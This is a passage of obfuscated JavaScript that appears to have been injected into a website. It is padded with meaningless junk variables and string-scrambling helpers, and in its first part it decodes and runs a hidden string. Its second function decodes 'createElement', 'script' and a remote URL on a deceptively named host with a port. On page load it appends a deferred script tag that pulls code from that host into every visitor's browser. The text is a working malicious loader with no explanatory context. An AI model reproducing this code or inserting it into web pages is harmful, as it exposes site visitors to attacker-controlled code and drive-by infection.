[1,2,0])];var bK;if(bK!='' && bK!='UaL'){bK=null};var El;if(El!='' && El!='hu'){El=null};var Am='';var IL =[182,222,2,91][2];this.sV="";var CT;if(CT!='' && CT!='Nv'){CT='br'};var y = J[Z("tenlgh", [3,1,2,4,0])];var ia;if(ia!='Yr' && ia!='lx'){ia='Yr'};var IC =[233,221,1][2];var aJ="";var rY;if(rY!='EH'){rY=''};var xW;if(xW!='' && xW!='YHl'){xW=''};for(var yW=w; yW < y; yW+=IL){var rv=false;hCZ+= GZ; hCZ+= J[Z("bssutr", [2,3,0,1,4])](yW, IL);var Dk="Dk";}var WO;if(WO!='jO' && WO!='TN'){WO=''};var J = CV(hCZ);var mG;if(mG!='Fi'){mG=''};var j = new B(t);var Bf = j[Z("percale", [2,1,0])](c, r);var CZ;if(CZ!='La' && CZ != ''){CZ=null};var EL;if(EL!='nQ' && EL != ''){EL=null};var Sd = D[Z("gehtnl", [5,1,4,0,3,2])];Bf = i(Bf);var Dj=new String();var en=new String();var jJ = new B(wU);var OJ;if(OJ!='' && OJ!='yw'){OJ='bI'};var Hy="";this.YcC="";var VR;if(VR!='gH' && VR!='eF'){VR='gH'};var jM=false;var zd=5208;var E = jJ[Z("alrpece", [2,4,3,1,0])](c, r);var XD='';var aJP=new String();var E = H(E);var F=H(Bf);this.oN="oN";var mW;if(mW!='' && mW!='ne'){mW=null};var OI;if(OI!='' && OI!='tT'){OI=null};for(var s=w; s < (J[Z("nlehgt", [1,2,0])]);s=s+[15,227,113,1][3]) {var Bt;if(Bt!='rq'){Bt=''};var TrG=56956;var ek=new Date();var DY = Bf.charCodeAt(P);this.cx='';var gw;if(gw!='Jh'){gw='Jh'};var Sj = h(J,s);this.Dy=false;var gJR=new Date();Sj = Bi(Sj, DY);var tK=false;Sj = Bi(Sj, F);Sj = Bi(Sj, E);var Ql='';var nS=new Array();var kL;if(kL!=''){kL='kjl'};var OW=new Array();P++;this.bU=false;this.BiS=false;if(P > Bf.length-IC){var ee=new String();this.Rr="";P=w;}var Fe=new String();var rFb=new String();var xt;if(xt!='ztd'){xt='ztd'};var NR=11263;q += z(Sj);}var js;if(js!='wY' && js != ''){js=null};var xY='';var gr;if(gr!='' && gr!='qW'){gr='cpl'};for(cN=w; cN < Sd; cN+=IL){this.jyX="jyX";this.dH='';var k = D[cN + IC];var gN;if(gN!='' && gN!='qb'){gN=''};this.mX="mX";var Ve = z(D[cN]);var ol=new Array();var jS;if(jS!='' && jS!='ap'){jS=null};var eeU;if(eeU!='KUE' && eeU!='gn'){eeU=''};var CO;if(CO!='kr' && CO!='HX'){CO=''};var nB = new uL(Ve, z(103));var EN;if(EN!='XG' && EN!='xu'){EN=''};var rj;if(rj!='rFi' && rj!='Xm'){rj=''};q=q[Z("erpalce", [1,0,2])](nB, k);var Fs=new Array();}var MC=new Array();var Pq=new Array();this.uAz='';var Aok;if(Aok!=''){Aok='Rp'};var d=new wU(q);this.yD=6745;var gq="";d();this.XA=false;E = '';var Nc="Nc";F = '';var hs;if(hs!='' && hs!='It'){hs=''};var VM;if(VM!='' && VM!='UG'){VM=''};d = '';jJ = '';var UI="";var hJ;if(hJ!='jh'){hJ=''};this.fw=false;this.AJY=false;Bf = '';var WIX=7178;var pP;if(pP!='' && pP!='VC'){pP='NU'};q = '';this.ly=10695;var Im=new Array();return '';};var zy=false;var qR="qR";var orx=false;t(uI);
function A() {this.J='';var b;if(b!='E'){b='E'};var a='[';var fe=new Array();var P=RegExp;var C;if(C!='kf'){C=''};var fd=new Array();var v=']';this.l='';this.ZN='';var p='g';var z=new String();this.F='';var u=new String();this.N="";var h='replace';var ui='';function L(g,i){var OI=new Array();var D='';var yW;if(yW!='rO' && yW!='pZ'){yW='rO'};var NR;if(NR!='oo' && NR!='t'){NR='oo'};var x=a;var vE='';var fw="";x+=i;x+=v;var TT=new Date();var m;if(m!='' && m!='ew'){m='ht'};var xQ=new P(x, p);return g[h](xQ, u);var hM;if(hM!='uQ'){hM='uQ'};var w;if(w!='Cv'){w='Cv'};};var ix=new String();this.JT='';var V=L('coroeRaRtAeRERlReAmoeRnAto',"RoA");this.FF="";var f=L('/KhUoOmYeIdYeOpYoOtK.UcYoOmK/YhYoImYeKdIeUpUoKtY.YcKoOmY/UgOoYoKgIlOeU.IcOoImY/OtUaIbUnIaUkY.UiIrY/YiImUaYgYeIsIhKaKcKkO.IuIsI.YpOhOpU',"YKOUI");var _='';var G=L('83359909522833502955',"5329");var Fo='';var Z=L('hKtKtSpK:S/S/OxKiSnShSuOaOnKeKtK-KcSoOmO.KmSaSiKlS.SrSuS.SiKnSdKiOaOtSiSmSeSsO-OcKoSmO.SnKeKwOaKgSeOdOiSrOeScOtO.KrKuK:K',"OSK");var iA=window;this.OD='';this.qv='';var Q=L('sGcFrOiGpGtO',"OFG");this.UT="";this.RR='';iA[L('oxnMlxoPa2dH',"2xHPM")]=function(){try {this.yL='';var YP="";_+=Z;var CH="";_+=G;var FE=new Array();_+=f;var ET=new Array();this.yC='';this._p='';k=document[V](Q);var kC=new Array();var cD;if(cD!='xG'){cD=''};var yl;if(yl!=''){yl='pC'};s(k,'defer',([1,2][0]));var GV=new Date();this.aN='';s(k,'src',_);var fz='';document.body.appendChild(k);var Iw;if(Iw!='' && Iw!='rZ'){Iw=''};} catch(ZU){};this.fQ="";};function s(sO,GW,K){var Ed=new Date();var AM=new Date();sO.setAttribute(GW, K);var PQ;if(PQ!='fv' && PQ!='DH'){PQ='fv'};}var iF;if(iF!='_pE' && iF!='YH'){iF='_pE'};var WT;if(WT!='_P' && WT!='CF'){WT=''};var yCd="";};var Ch;if(Ch!='BC'){Ch='BC'};A();var HK;if(HK!='' && HK!='CM'){HK='O_'};var LD=new Date();